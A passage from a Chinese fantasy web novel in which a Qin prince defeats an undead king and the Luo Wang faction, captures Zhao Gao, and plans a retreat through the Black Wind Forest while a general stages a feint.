他当机立断,不再有丝毫迟疑。
“此地交由你们掌控!”
“按计划行事,一旦狼群入彀,立刻发动!”
他对着负责留守阵眼的几名暗河精锐快速下令,声音斩钉截铁。
“诺!”
几人凛然应命。
话音未落。
赢子夜身形已化作一道紫色电光,不再理会尚未完全检查的阵法细节,以最快
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的速度,撕裂空气,朝着圣地核心,死气喷涌的方向疾驰而去!!
玄色衣袍在疾风中猎猎作响。
他的眼神锐利如刀,心中念头飞转。
无论地宫中出了什么变故,卫庄他们都在那里,他必须立刻赶回去。
计划,永远赶不上变化快!
……
圣地出口处。
已然乱成了一锅粥。
赵高、掩日、真刚、魍魉等罗网核心,此刻狼狈不堪,只想尽快逃离这片死地。
然而,每当他们试图冲向某个方向,暗河的精锐便如同鬼魅般出现。
**箭、飞针、毒雾精准地封锁去路,逼得他们不得不后退!
逆流沙众人则抱臂旁观。
赤练把玩着毒蛇,白凤立于高处,隐蝠发出怪笑,虽未直接出手,但却将大部分方向堵死!
那无形的压迫感却让赵高等人如芒在背。
“滚开!”
赵高气得脸色铁青,早已没了平日里的阴鸷深沉,气急败坏地尖声叫道。
“里面的怪物马上就要出来了!”
“再不跑,大家都得死在这里!”
回应他的。
只有暗河**们更加凌厉的阻击和逆流沙众人冰冷的注视!!
他们接到的命令是封锁出口,不放走任何人。
至于里面的怪物,自有殿下应对!
而场中真正的怪物,正是那死气萦绕,形如骷髅的乌孙陀罗。
他如同饥渴了千年的恶鬼,疯狂地攻击着视线内的一切活物。
而那些从圣地四周涌出,陷入疯狂的野兽,甫一靠近他周身那灰黑色的死气力场,便如同被抽干了所有生机,迅速干瘪毙命!
它们的生命力化作丝丝缕缕的血色能量,补充着乌孙陀罗不断消耗的寿元!
更令人心悸的是。
那原本护卫他的大萨满和十二圣士,此刻竟也目光呆滞,动作僵硬,如同提线木偶般,完全听从乌孙陀罗的指令,悍不畏死地扑杀着罗网的残存**!!
他们显然已被那血色晶体的力量彻底控制。
沦为了没有自我意识的傀儡。
在乌孙陀罗和傀儡圣士的疯狂攻击下,罗网**迅速减员,惨叫声此起彼伏,眼看就要被消耗殆尽!!!
第410章 人未至,先损一半!
就在这时。
一道紫色雷光撕裂空气!
赢子夜的身影悍然降临场中!
他目光一扫,瞬间将混乱的局势尽收眼底。
而当他的目光与那死气中心的乌孙陀罗对上时,乌孙陀罗那如同鬼火般燃烧的眸子,骤然爆发出无比贪婪和兴奋的光芒。
“好……好磅礴的生机!”
“如此旺盛的生命力!”
乌孙陀罗伸出枯槁的手爪,死死盯着赢子夜,沙哑的声音充满了难以抑制的渴望。
“吸了你!只要吸干了你!足以弥补本王数年的寿元消耗!哈哈哈!”
话音未落,他周身死气轰然爆发,如同一条来自九幽的**,带着吞噬一切的恐怖气势,直接舍弃了其他目标,朝着赢子夜猛扑过来!
速度快得惊人!!
赢子夜眼神一凝,不敢怠慢,定秦剑瞬间出鞘,缠绕着璀璨紫雷,悍然迎上!
“铛!”
剑爪相交,发出的却不是金铁之声,而是一种沉闷的仿佛能量被强行抽离的异响。
赢子夜只觉一股冰冷彻骨的吞噬之力顺着剑身传来。
不仅疯狂吸纳着他的雷霆真气。
更有一股诡异的力量试图钻入他体内,掠夺他的生命本源!
他闷哼一声,急忙运转紫雷心法,强行震开那吸附之力,抽身后退,脸色微沉!
“麻烦……竟能直接吞噬真气和生命力!”
赢子夜心中凛然,这乌孙陀罗化身“鬼王”后,手段果然诡异霸道,绝不能与他近身缠斗。
与此同时。
赢子夜冰冷的目光,也瞬间锁定了正试图趁乱溜走的赵高,厉声下令。
“拿下赵高!要活的!”
暗河精锐与逆流沙众人闻令而动。
攻势骤然加紧。
如同收紧的罗网,将赵高、掩日等人死死缠住!!
赢子夜随即看向一旁眼神复杂,正与傀儡圣士、大萨满等人周旋的焱妃,声音清晰地传入她耳中。
“东君阁下!令嫒姬如千泷,已被本公子救出,此刻正在安全之处!”
焱妃娇躯猛地一颤!
霍然转头看向赢子夜!
那双美眸中,瞬间爆发出难以置信的光芒,以及一丝如释重负的激动!
但随即,她想到了那致命的威胁,急声道。
“殿下!赵高那恶贼在小女身上下了‘蚀骨断魂散’!解药只有他身上才有!”
“解药在他身上?”
赢子夜眼中寒光爆射,立刻对正在**赵高的部下喝道。
“听到没有?解药在赵高身上!给本公子生擒他!”
此言一出,焱妃心中最后一丝顾虑彻底消散!
女儿已救出,解药就在眼前!
所有的隐忍,所有的**,在这一刻化作了滔天的怒火与杀意!!!
“赵高!!”
她发出一声清冽如凤鸣般的怒叱。
周身紫气暴涨,阴阳二气以前所未有的狂暴姿态运转起来。
她不再理会那些傀儡圣士,身形如电,直接扑向了被重重围困的赵高。
玉手挥动间,阴阳合气手印带着碾碎一切的决绝,狠狠轰向赵高!
赵高见状,脸色瞬间惨白如纸。
他没想到赢子夜竟然真的救出了姬如千泷,更没想到焱妃会在此刻毫无顾忌地对他下死手。
面对焱妃这含怒一击,以及周围暗河、逆流沙的**,他顿时陷入了绝境!
而另一边!
卫庄灰眸淡漠地扫了一眼与赢子夜激战的乌孙陀罗,并未上前相助。
他鲨齿剑一振,带着赤练、白凤等人,直接找上了那十二名被控制的圣士傀儡,以及大萨满。
“这些碍眼的木头,该清理了。”
卫庄的声音冰冷无情。
逆流沙众人如同虎入羊群,瞬间与大萨满和十二圣士等人绞杀在一起,将他们死死牵制。
不让他们有任何机会去干扰赢子夜与乌孙陀罗的战斗!
整个圣地出口,战局瞬间分明!
赢子夜独战吞噬生命的“鬼王”乌孙陀罗。
卫庄率逆流沙牵制大萨满和傀儡圣士。
而赵高,则陷入了焱妃与暗河、逆流沙成员们的疯狂围剿,岌岌可危!!!
……
是时!
葬月谷外围,尘烟滚滚,蹄声如雷。
匈奴第一猛将,“血狼王”赫连勃勃,亲率其麾下五千苍狼卫精锐,如同一股黑色的钢铁洪流,朝着圣地核心方向狂飙突进!
赫连勃勃身高九尺,面容粗犷狰狞。
一道深刻的刀疤从左额划至右下颌,更添几分凶煞之气。
他身披玄黑色狼首重甲,手持一柄门板大小的巨型狼牙棒,眼神中充满了对杀戮与掠夺的渴望。
远远地,他已经能看到圣地出口处那冲天的死气,以及隐约传来的激烈能量碰撞声。
“哈哈哈!”
赫连勃勃发出震耳欲聋的狂笑,声如破锣!
“打吧!打吧!”
“秦狗、月氏废物、还有赵高那条老阉狗,你们拼个你死我活最好!”
“等你们筋疲力尽,这圣地宝物,还有你们的狗命,就都是我赫连勃勃的囊中之物了!”
“儿郎们,加速前进!”
“让这些人看看,谁才是这草原,不,这西域真正的王!”
他仿佛已经看到了自己满载而归,受到单于头曼重赏,权势更上一层楼的美妙场景。
而苍狼卫的骑兵们也都发出嗜血的嚎叫,催动战马,速度再增!!
然而,就在他们冲入一片相对开阔,两侧是风化石林的区域,距离圣地出口已不足三里,甚至能看清那里晃动的人影时。
异变陡生!!
冲在最前方的数十骑苍狼卫,连同他们雄健的战马,仿佛撞上了一堵无形的墙壁,猛地人仰马翻!
紧接着,地面毫无征兆地塌陷。
露出下面布满尖锐倒刺的深坑!
惨叫声中,落入坑中的骑兵瞬间被穿成了
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筛子。
“有埋伏!小心地面!”
一名百夫长惊骇大吼!
但他的警告已经晚了!
“咻咻咻!”
两侧的石林中,骤然射出无数淬毒的**箭。
这些**箭并非人力发射,而是由隐藏的机关触发。
速度快,力道猛,角度刁钻,专门射向马腿和骑兵甲胄的缝隙!
“噗嗤!啊!”
战马的悲鸣与骑兵的惨叫瞬间连成一片!
苍狼卫的阵型前方一片大乱!
“不要乱!结阵!盾牌手上前!”
赫连勃勃又惊又怒,挥舞着狼牙棒格开几支射向自己的**,厉声嘶吼!
然而,陷阱远不止于此。
就在苍狼卫试图稳住阵型时,空气中突然弥漫开一股甜腻的异香!
“是毒瘴!闭气!”
有经验丰富的军官嘶声提醒。
但已经有不少士兵吸入毒气,顿时感到头晕目眩,手脚发软,直接从马背上栽落下来!
紧接着,地面再次震动!
数道闪烁着雷光的诡异符文从地下浮现,彼此勾连,瞬间形成一个覆盖了小半片区域的雷电网!
紫色的电蛇疯狂窜动!
触及到的匈奴骑兵连人带马被电得浑身焦黑,抽搐着倒地!!
这还没完!
四周的石像,那些伪装过的机关突然“活”了过来,挥舞着石质的手臂,砸向混乱的匈奴军队!
地面不时炸开一团团腐蚀性的酸液。
甚至天空都落下密集的,带着倒钩的铁蒺藜。
**、陷坑、毒瘴、雷阵、机关石像、酸液、铁蒺藜……
各种各样的陷阱,五花八门,阴损毒辣,仿佛没有尽头般被接连触发!
这些正是赢子夜平日里通过“每日秒杀系统”积攒下的各种阴人利器。
此刻被他尽数用在了这里!
赫连勃勃和他麾下以悍勇著称的苍狼卫,何曾见过这等诡谲莫测,层出不穷的阵法陷阱?
他们空有一身蛮力与勇武。
此刻却如同陷入了无形的泥沼,有力无处使!
每一刻都有士兵在莫名其妙的攻击中倒下,伤亡数字急剧攀升!!
“混蛋!卑鄙的秦狗!只会耍这些阴险手段!”
“有本事出来跟你勃勃爷爷正面一战!”
赫连勃勃气得几乎吐血。
他挥舞着狼牙棒,将一具扑来的机关石像砸得粉碎。
朝着圣地方向发出憋屈到极点的怒吼!
声音因为极致的愤怒而扭曲变形!
他原本以为自己是稳坐钓鱼台的最终猎手。
却万万没想到,连猎物的面都没见到,就先在这外围被一层层剥皮抽筋,损失惨重!
这种憋屈感,比正面战败更让他难以忍受!
“给老子冲出去!拆了这些鬼东西!”
赫连勃勃双眼赤红,如同被困的疯狼,不顾伤亡,强行命令部队向前突击,试图用蛮力撕开这死亡陷阱的封锁!
第411章 谁是鹬,谁是蚌?
与此同时。
赢子夜一剑荡开乌孙陀罗枯爪般袭来的死气,紫雷爆裂,将那股阴寒吞噬之力暂时逼退!
他气息微乱,眼角余光却已瞥见远处尘烟滚滚。
蹄声如闷雷般由远及近。
伴随着匈奴人特有的嗜血嚎叫。
是赫连勃勃的苍狼卫!!
他们果然来了。
而且正一头撞进他精心布置的死亡陷阱区!
电光火石间,一个念头如同闪电划过赢子夜的脑海。
他嘴角勾起一抹冰冷而戏谑的弧度,心中已有定计。
既然这化身鬼王的乌孙陀罗如此难缠,何不将这烫手山芋,扔给那群自以为是的草原“恶狼”?
他猛地后撤数步,定秦剑斜指地面,雷光缭绕,目光却带着毫不掩饰的讥讽,投向状若疯魔的乌孙陀罗!
声音清朗,却清晰地压过了场中的厮杀与兽吼。
“乌孙陀罗!看看你这副鬼样子!”
“燃烧性命,化身不人不鬼的怪物,就为了获取这饮鸩止渴的力量?”
“可怜!可叹!”
“连你倚为臂助的圣士,都成了你苟延残喘的食粮!”
“你这大月氏的王,当得可真够威风!”
乌孙陀罗正沉浸在那力量带来的短暂充盈与生命不断流逝的痛苦煎熬中。
闻言猛地抬头!
那双死气弥漫的鬼火眸子死死盯住赢子夜!
沙哑的喉咙里发出嗬嗬的怪响,充满了被戳到痛处的暴怒。
“你这秦狗……休要猖狂!”
“待本王吸**的生机,看你还如何牙尖嘴利!!”
赢子夜却不等他扑上,身形一转,竟主动向着赫连勃勃苍狼卫陷入苦战的外围陷阱区方向疾驰而去。
只留下一串带着浓浓挑衅意味的长笑!
“想吸本公子?就怕你这半死不活的样子,追不上!”
“来吧,让本公子看看,你这所谓的‘鬼王’,除了欺负自己人,还有几分能耐!”
“还是说,你只敢在这圣地门口耀武扬威,连追都不敢追?”
这赤裸裸的嘲讽,如同**般狠狠刺入乌孙陀罗已然癫狂的心神!
他此刻神智大半被那血色晶体的吞噬本能和疯狂执念所控,哪里受得了如此刺激?!
尤其是赢子夜身上那磅礴精纯的生命气息,对他而言更是无法抗拒的诱惑!
“吼!!本王要将你**万段!吸**的每一滴血!”
乌孙陀罗发出一声不似人声的咆哮!
周身死气轰然暴涨!
再也顾不得其他。
如同一条嗅到血腥味的疯狗,带着大萨满与那十二名目光呆滞,动作却迅捷无比的圣士傀儡。
以及周围那些被死气吸引,同样陷入疯狂的兽群,轰隆隆地朝着赢子夜逃离的方向狂追而去!
他所过之处,地面凝结白霜,草木瞬间枯败。
那架势,仿佛要将前方一切生机彻底碾碎、吞噬!
而另一边。
正在陷阱中左冲右突,憋屈怒吼的赫连勃勃,刚用狼牙棒砸碎一具机关石像。
就看到一道紫色雷光引着一大团遮天蔽日的死气乌云,以及密密麻麻的疯狂兽群,朝着自己这边猛冲过来!!
他先是一愣!
随即看清那死气中心形如骷髅却散发着恐怖气息的身影。
以及其后紧跟的服饰明显是大月氏王庭精锐的甲士,还有那漫天遍野的野兽!
“乌孙陀罗?!”
赫连勃勃瞳孔骤缩!
他认得那身破烂王袍和依稀的面容轮廓。
但对方那副鬼样子和冲天的死气,让他这**如麻的悍将都感到一阵心悸!
紧接着,他就看到了冲在最前面,一脸“惊慌”向着他们这边逃窜的赢子夜。
“哈哈哈!”
赫连勃勃瞬间明白了!
他发出粗野的狂笑,脸上刀疤扭曲,充满了幸灾乐祸和贪婪。
“狗咬狗!打得好!”
“乌孙陀罗你这老小子居然变成了这副德行?”
“正好!连同你这怪物和那秦狗小子,还有这圣地宝物,全都归老子了!”
“儿郎们,准备迎敌!”
“管他是什么怪物,给老子用马蹄踏碎他们!”
他以为赢子夜是被乌孙陀罗追杀
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得走投无路,才慌不择路跑向这边,正好落入他的包围圈。
这简直是送上门的功劳!!
然而,赢子夜在即将冲入匈奴军阵的前一刻,身形诡异地一折,如同游鱼般滑向侧翼!
同时回头,对着紧追不舍,眼中只有他这猎物的乌孙陀罗,以及摩拳擦掌,准备收割的赫连勃勃,露出了一个冰冷而意味深长的笑容!
下一刻,乌孙陀罗裹挟着滔天死气,兽潮与傀儡圣士,如同一辆失控的死亡战车!
根本无视前方是谁,带着吞噬一切的疯狂执念,狠狠地一头撞进了赫连勃勃刚刚勉强集结起来的苍狼卫军阵之中!!
“不!你这怪物!瞄准那秦狗……”
赫连勃勃的怒吼被瞬间淹没。
死气侵蚀,野兽撕咬。
大萨满不断地扔出各种攻击!
傀儡圣士悍不畏死的冲杀。
以及赢子夜布下的陷阱还在零星触发!!
场面瞬间陷入了极致的混乱。
苍狼卫的骑兵们惊恐地发现,他们的刀剑砍在那死气笼罩的乌孙陀罗和圣士傀儡身上效果甚微。
而对方的每一次攻击都带着致命的吞噬之力!!
兽群更是疯狂地冲击着他们的战马和阵型!
“赢子夜!你这卑鄙无耻的秦狗!”
赫连勃勃这才反应过来自己上了恶当!
气得目眦欲裂!
挥舞着狼牙棒砸飞一头扑来的沙蝰!
朝着赢子夜消失的方向发出绝望而愤怒的咆哮。
他本想做黄雀,却转眼成了别人祸水东引的盾牌!
而始作俑者赢子夜,则已悄然隐匿了气息,立于远处一块巨石之上,冷眼旁观着那鬼王、野兽、傀儡与匈奴精锐绞杀成一团的混乱战场。
嘴角,噙着一丝智珠在握的冰冷笑意。
鹬蚌相争,渔翁得利。
这浑水,正是他想要的。
而乌孙陀罗这失控的怪物,眼中只有那磅礴的生命力诱惑。
带着他那些同样失控的爪牙。
不管不顾地继续向着匈奴军阵深处,向着那陷阱密布的区域,疯狂冲杀而去!!!
第412章 罗网,今日除名!
此时!
化身鬼王的乌孙陀罗如同一个移动的天灾。
所过之处,匈奴精锐人仰马翻,生命被疯狂抽取,化作他维持存在的养料!
赫连勃勃的怒吼声早已从最初的狂傲变成了惊怒与绝望!
他的苍狼卫在死气、兽潮和陷阱的三重打击下死伤惨重。
阵型彻底崩溃!!
“呵。”
赢子夜轻嗤一声,眼神漠然。
狗咬狗的戏码已近高潮,无需他再插手。
此地已无留恋的价值。
他身形一晃,化作一道淡紫色的轻烟,悄无声息地离开了这片杀戮之地,向着圣地出口的方向疾驰而去。
当他赶回圣地出口时。
这边的战斗也已接近尾声。
只见卫庄鲨齿剑斜指地面。
剑尖尚有血珠滴落。
灰眸中是一片万载寒冰般的淡漠。
他脚下,横七竖八地躺着无数野兽的残躯。
皆是被凌厉无比的剑招斩碎了五脏四肢,彻底失去了行动能力。
赤练慵懒地倚在一旁,腕间的赤练王蛇吞吐着蛇信。
她媚眼如丝,却带着一丝索然无味,仿佛刚才的战斗只是无趣的游戏。
白凤静立檐角,片羽不沾身。
隐蝠则倒挂在阴影里,发出意犹未尽的低沉怪笑。
而最引人注目的,是场中央那个被死死制住的身影——
赵高!
他再不复往日中车府令的阴鸷深沉。
官袍破碎,发髻散乱,脸上带着淤青,嘴角溢血。
整个人狼狈不堪地被两名暗河精锐反剪双臂押着。
掩日、真刚、魍魉等罗网核心骨干,皆已尽数化为地上冰冷的尸体。
焱妃站在赵高面前,绝美的容颜上覆盖着一层寒霜。
紫袍无风自动,磅礴的阴阳二气在她周身流转。
那双曾经空洞的美眸,此刻燃烧着足以焚尽一切的怒火与刻骨的恨意!!
她玉手伸出,声音冰冷刺骨:“赵高!解药!”
赵高艰难地抬起头,脸上却挤出一个扭曲而诡异的笑容,声音嘶哑。
“嘿嘿……东君阁下,何必如此动怒?”
“令嫒千金之躯,咱家怎敢不留后手?”
“真正的解药……自然是在咱家脑子里,不过……”
他目光阴毒地扫过围拢过来的众人,最后落在刚刚抵达的赢子夜身上。
“……你们敢杀咱家吗?”
“杀了咱家,那丫头就给咱家陪葬!哈哈哈!”
他试图做最后的挣扎,用解药作为保命的筹码。
赢子夜缓步走上前,目光平静地看着状若疯狂的赵高。
那眼神,如同在看一个跳梁小丑。
“赵高,”赢子夜开口,声音不高,却带着一种不容置疑的威严。
“到了这个时候,你还抱着这可笑的幻想吗?”
他微微俯身,靠近赵高,一字一句,清晰无比地说道:“你以为,本公子劳师动众,深入这西域险地,救出姬如千泷,是为了什么?”
“就是为了让你这阉狗,还能用她来威胁我们?”
赵高脸上的笑容一僵!
赢子夜直起身,语气骤然转冷,带着帝室公子的凛然霸气!
“你的罗网,完了。”
“你的野心,也到此为止了。”
“至于解药……”
他冷哼一声,“本公子有的是办法。”
“你的倚仗,在本公子眼里,一文不值!”
赵高闻言,根本不怕,脸上的冷笑渐渐浮现,猩红的眼神中透露出一股极为张扬的恃无恐。
“呵呵……”
他低低地笑了出来,仿佛已经从赢子夜的否定中看到了自己的胜算,“一文不值?”
“赢子夜,”
他冷冷地看着对方,眼中闪烁着一丝不屑,“你确实聪明,但你还是太年轻。”
“你不了解这种毒,若是你真敢动我,那个最害怕的人,未必是我。”
赵高的笑容愈加肆意。
仿佛手中还握着一张足以颠覆一切的底牌。
“够了!”
焱妃厉声打断他,再也无法抑制心中的怒火与杀意!
玉手猛地探出,精准地插入赵高破碎的官袍内襟。
微微一用力,便扯出了一个贴身收藏的精致玉瓶。
这是此前赵高在地宫中战斗时,拿出来过的。
她看也不看,将玉瓶紧紧攥在手中,仿佛握着失而复得的珍宝。
然而,赵高却低下头,脸上的冷笑未曾消退。
“这瓶子里的东西,不过是个诱饵而已。”
“你们尽管拿去试,咱家倒是要看看,究竟是谁在自讨苦吃……”
“呵呵……”
赢子夜则懒得再看他那副丑态。
转身,目光扫过卫庄、焱妃以及众人,沉声下令:“逆流沙诸位,此番相助,本公子铭记于心。”
“暗河听令!”
“在!”
赵弋苍与一众暗河精锐肃然应诺。
“将罪臣赵高,严密看押!”
“废其武功,挑断手脚筋脉,确保他无力自戕或逃脱!”
赢子夜的声音冰冷无情,“我们即刻启程,撤离此地!”
“本公子要亲自将这祸、国殃民的阉狗,押送至父皇驾前,由父皇——圣裁!”
“诺!”
赵弋苍毫不犹豫。
上前一步,运指如风,连续点向赵高周身大穴,废掉了他苦修多年的阴毒内力!
随即刀光一闪,挑断了他的手
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脚筋!!
赵高发出一声凄厉如杀猪般的惨嚎,彻底成了废人,如同烂泥般被暗河精锐粗暴地架起!
……
与此同时。
葬月谷外围的杀戮战场。
血腥气混合着死寂的灰黑雾气,形成一片令人作呕的领域!
乌孙陀罗。
或者说,那具勉强维持着人形的骷髅鬼物,停下了疯狂追击的脚步。
他胸腔剧烈起伏。
并非因为疲惫,而是那股吞噬生命后的短暂满足与更深处无法填满的饥渴在激烈冲撞!
他枯爪般的手微微抬起。
那十二名圣士傀儡立刻如同受到无形牵引。
舍弃了残存的惊恐逃窜的匈奴散兵,沉默地汇聚到他身后。
他们身上萦绕的死气似乎更加浓郁了几分!
隐约可见丝丝缕缕的血色能量,正从他们体内缓缓流向中心的乌孙陀罗。
那些被他们撕碎、吸干的苍狼卫骑兵的生命力。
此刻正通过这十二条“管道”,源源不断地补充着乌孙陀罗急剧消耗的本源!
一丝微弱的红晕在他干瘪如树皮的脸颊上一闪而逝!
深陷的眼窝中,那两簇鬼火似乎明亮了少许。
他能感觉到,那如同跗骨之蛆般的生命流逝速度,被稍稍延缓了。
但这远远不够!
就像往一个无底深渊投入几颗石子,连回声都微不可闻!
“呃……”
他喉咙里发出沙哑的,满足又痛苦的**。
贪婪地汲取着这通过容器过滤而来的生机。
然而,当他抬起那恐怖的头颅,望向赢子夜方才消失的方向时,眼中刚刚泛起的一丝满足,瞬间被更加炽烈疯狂的贪婪所取代!
那个秦国的公子!
那个叫赢子夜的小子!
他身上的生命力是如此磅礴,如此精纯!
如同黑暗中最耀眼的火炬,散发着令他灵魂都在颤栗的诱惑!
相比起来,刚才吞噬的这些匈奴蛮子的生机,简直如同腐肉与琼浆玉液的区别!
“赢……子……夜!”
他几乎是从牙缝里挤出这个名字。
枯槁的面容扭曲。
充满了极致的渴望与得不到的暴怒。
他能感觉到,只要吸干了那个小子,他不仅能彻底稳固这鬼王之力,甚至……
可能逆转生死,获得真正的新生!
“王上……”
一个微弱的声音在旁边响起。
是大萨满。
他拄着几乎断裂的骷髅法杖,气息奄奄。
脸上带着难以言喻的悲痛与恐惧看着形态大变的乌孙陀罗。
“我们……我们损失惨重,圣士们也…”
“不如暂避锋芒,从长计议……”
第413章 血噬之战!!!
“从长计议?”
乌孙陀罗猛地转头。
鬼火般的眸子死死盯住大萨满,声音尖锐刺耳,带着一种不容置疑的癫狂!
“你看本王现在这副样子,还有时间‘从长计议’吗?!”
他猛地张开双臂!
周身死气如同黑色火焰般升腾!
声音咆哮着,响彻在这片死寂的战场。
“这点生机,不过是杯水车薪!”
“本王需要更多!更多!!”
他的目光再次投向东方,那是赢子夜离去的方向,也是大月氏王庭,以及更远处大秦疆域的方向。
“秦狗嬴政……还有头曼那条老狼!”
“他们以为我大月氏完了?”
“做梦!!!”
乌孙陀罗的声音充满了怨毒与一种破罐破摔的疯狂!
“是他们逼本王的!”
“是他们让本王变成了这副模样!”
“那就别怪本王……拉着他们一起下地狱!”
他枯爪一挥,指向东方。
对着身后那十二个沉默的如同死亡容器的圣士,以及周围残余的被死气侵蚀,而变得同样狂躁的兽群,发出了歇斯底里的命令:
“传本王令!”
“放弃圣地,全军返回王庭!”
“集结所有还能拿起刀剑的族人!”
“本王要……倾尽举国之力,向大秦,向匈奴,发动血噬之战!!!”
他脸上露出一个狰狞可怖的笑容!
牙齿在死气中显得异常森白!
“他们不是想要西域吗?”
“不是想要本王的命吗?”
“来啊!本王就用这残躯,用这大月氏最后的国运,化作吞噬一切的瘟疫!”
“秦狗的土地,匈奴的草原,都将成为本王延续生命的养料!”
“要么,本王吸干他们,重获新生!”
“要么……就让他们给本王,给大月氏陪葬!”
“所有阻挡在本王面前的生灵,都是粮食!”
“都是本王延续存在的薪柴!哈哈哈!!!”
疯狂而怨毒的笑声在葬月谷外回荡,如同厉鬼的诅咒。
大萨满看着彻底陷入癫狂,将自身与国运都绑上死亡战车的乌孙陀罗,绝望地闭上了眼睛。
他知道,大月氏,已经走上了一条无法回头,通往彻底毁灭的绝路。
乌孙陀罗不再停留。
带着他那支死亡军团,裹挟着冲天怨气与无尽的贪婪,如同移动的灾厄。
他的目标,已然锁定——
一切生灵,皆为食粮!!!
……
夜色如墨。
笼罩着西域荒凉的山脊。
一处背风的岩石坳处,篝火噼啪作响,映照着赢子夜沉静而锐利的侧脸。
他刚刚结束与暗河通过传讯符的联络,指尖在摊开的地图上缓缓移动,眉头微蹙。
空气中弥漫着一种无形的紧迫感。
赵弋苍侍立一旁,双臂拄剑,目光随着赢子夜的手指移动。
卫庄靠坐在对面的阴影里,鲨齿剑横于膝上,灰眸半阖,仿佛对周遭一切漠不关心。
但那微微绷紧的下颌线条,却显露出他并非全然放松。
赤练把玩着一条新捕来的毒蛇。
白凤静立高处,如同融入了月色。
隐蝠、苍狼王则蜷在更深的黑暗里,气息几近于无。
“情况比预想的更糟。”
赢子夜开口,声音在寂静的夜里显得格外清晰,带着一丝冷意。
“暗河最新情报,匈奴血狼王部虽在葬月谷外围损失殆尽,但其匈奴主力并未伤筋动骨,头曼更是已攻破落日关,兵锋直指大月氏王都。”
他的手指重重地点在地图上几个标红的区域。
“这里,这里,还有这里……”
“都是匈奴的万人队驻扎之地,硬闯无异于自投罗网!”
指尖又划过几个标记着混乱符号的城池。
“这些地方,大月氏残军与匈奴溃兵,甚至本地部族互相绞杀,乱成一团,已成死地,难以穿行。”
他的目光最终落在地图上一片蜿蜒的标识着茂密林木的区域。
手指沿着一条几乎被忽略,细若游丝的小径划过。
“唯有这条路……”
“穿过这片‘黑风林’,虽然绕远,林深路险,多有瘴气毒虫,但匈奴大队骑兵难以展开,驻防也最为薄弱。”
“这是我们返回东部防线最有可能的路径。”
他抬起头,目光扫过众人,最后定格在卫庄身上,语气带着决断。
“路线已定,休整一个时辰后,我们即刻出发,趁夜穿越黑风林。”
安排完撤离路线。
赢子夜却并未放松。
他沉吟片刻,眼中闪烁着思索的光芒,转向卫庄和逆流沙众人。
“卫庄先生,赤练姑娘……此次西域之行,多亏逆流沙鼎力相助。”
赢子夜语气诚恳,但随即话锋一转,带着一丝深沉的疑虑。
“然而,葬月谷之事,看似了结,本公子心中…却总觉有些不妥。”
他微微眯起眼睛,篝火在他瞳孔中跳跃。
“那遗迹传说流传千年,关乎长生与终极之力,若真如此轻易便被乌孙陀罗获取,甚至……变成那等饮鸩止渴的邪物,未免太过儿戏。”
“那血色晶体,力量虽诡异霸道,却充满死寂与毁灭,与传说中缥缈宏大的‘终极’相去甚远。”
“本公子怀疑……”
“我们见到的,恐怕并非真正的遗
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迹核心。”
“或者说,那根本就是一个假的遗迹!”
“一个精心布置的陷阱,或者……一个被抛弃的失败品?”
这个猜测大胆而惊人!
让一旁的赵弋苍都露出了凝重的神色。
赢子夜看向卫庄,眼神锐利:“因此,本公子想请逆流沙,暂缓回归,继续隐匿于西域。”
“墨麒麟易容之术天下无双,本公子需要他设法潜入如今戒备森严,局势混乱的大月氏王宫。”
赢子夜继续道,语气沉稳而清晰!
“他要探取的核心情报有二!”
“其一,密切关注乌孙陀罗化身鬼王后的状态,及其后续的一切动向。”
“他那种依靠吞噬生命力维持的状态,绝不可能长久,必有弱点或反噬!”
“其二,也是最重要的!”
“暗中查访关于葬月谷遗迹的真正秘密!”
“古籍、秘闻、王室口口相传的传说……”
“任何可能与真正遗迹有关的线索,都不能放过!”
他深吸一口气,声音低沉却带着坚定的力量:
“本公子总觉得,真正的遗迹,或者说,那传说中力量的真相,依旧隐藏在这片土地的某个角落。”
“乌孙陀罗,不过是个可悲的被推到前台的棋子。”
“或者说……祭品。”
卫庄沉默了片刻,冰冷的嘴角似乎勾起一抹近乎残酷的弧度。
他喜欢这种隐藏在表象下的阴谋与秘密。
这比单纯的杀戮更有趣。
“可。”
他淡淡吐出一个字,算是接下了这个任务。
赢子夜颔首。
随即从怀中取出数枚制作精良,闪烁着灵光的通讯符,以及一个小巧的储物锦囊,推向卫庄。
“这些通讯符,足以让逆流沙在西域境内保持联络。”
“锦囊之中,是一些本公子平日积攒的丹药、兵器、金饼以及西域通用的珠宝。”
“算作此次任务的定金与日常用度。”
“若有新的关于真正遗迹或乌孙陀罗异动的重大情报,随时通知我。”
“若暂无发现,便暗中监视王庭,静观其变。”
赤练接过锦囊,神识浸入,查探了一下。
红唇勾起一抹满意的弧度,“殿下倒是大方,这差事,我们接了。”
白凤和苍狼王微微颔首。
隐蝠在阴影中发出低沉的怪笑,表示同意。
“如此,便有劳诸位了。”
赢子夜拱手,目光扫过逆流沙众人,最后与卫庄那深不见底的灰眸对视一眼。
“西域这盘棋,还未到终局。”
“我们在明,尔等在暗,正好看看,这背后究竟还藏着什么魑魅魍魉!”
第414章 不惜一切代价佯攻!
石堡城。
秦军帅府。
蒙犽独臂紧握着刚刚失去光泽的传讯符。
符箓中残留的信息如同烙印,刻在他的脑海——
殿下已成功撤离葬月谷。
正循“黑风林”险径东归。
然身后局势叵测。
匈奴与大月氏残部皆虎视眈眈!
一股混杂着安心与重新燃起的紧迫感,在他胸中激荡。
殿下无恙,是天大的幸事!
但归途绝非坦途。
那片被称为“黑风林”的险恶之地,本身就是巨大的威胁,更遑论可能存在的追兵!
他猛地抬头,独目中精光爆射!
如同蛰伏的猛虎骤然苏醒。
看向肃立堂下,早已等候命令的几名心腹将领。
没有任何犹豫,没有任何拖泥带水。
蒙犽的声音如同金铁交击,斩钉截铁地响起,带着久经沙场锤炼出的决断与狠厉:
“立刻传令,让之前准备好的那五百精锐骑兵,立即开始行动!”
“沿着标定的路线,以最快速度潜入黑风林外围接应殿下,确保能够及时赶到!”
安排完接应,蒙犽的目光立刻转向沙盘。
手指在代表大月氏东部几个尚未被匈奴完全控制,但距离黑风林方向较近的城池上重重一点。
“王屹!”
“末将在!”
另一名身材魁梧、面带煞气的将领应声出列。
“你率本部三千人马,即刻出发,做出强攻狼突城与赤石岗的态势!”
蒙犽的指令清晰而冷酷,“记住,是佯攻!”
“给老子把声势造足,战鼓敲响,旗帜摇动,做出我军主力欲从此地猛攻的假象!”
“但绝不可恋战,以**远程袭扰为主,保存实力为第一要务!”
“你的任务,就是把周边那些匈奴狗和墙头草的目光,都给老子吸引过来!”
“让他们无暇他顾,为殿下撤离创造空隙!”
王屹瞬间领会,脸上露出狞笑:“将军放心!”
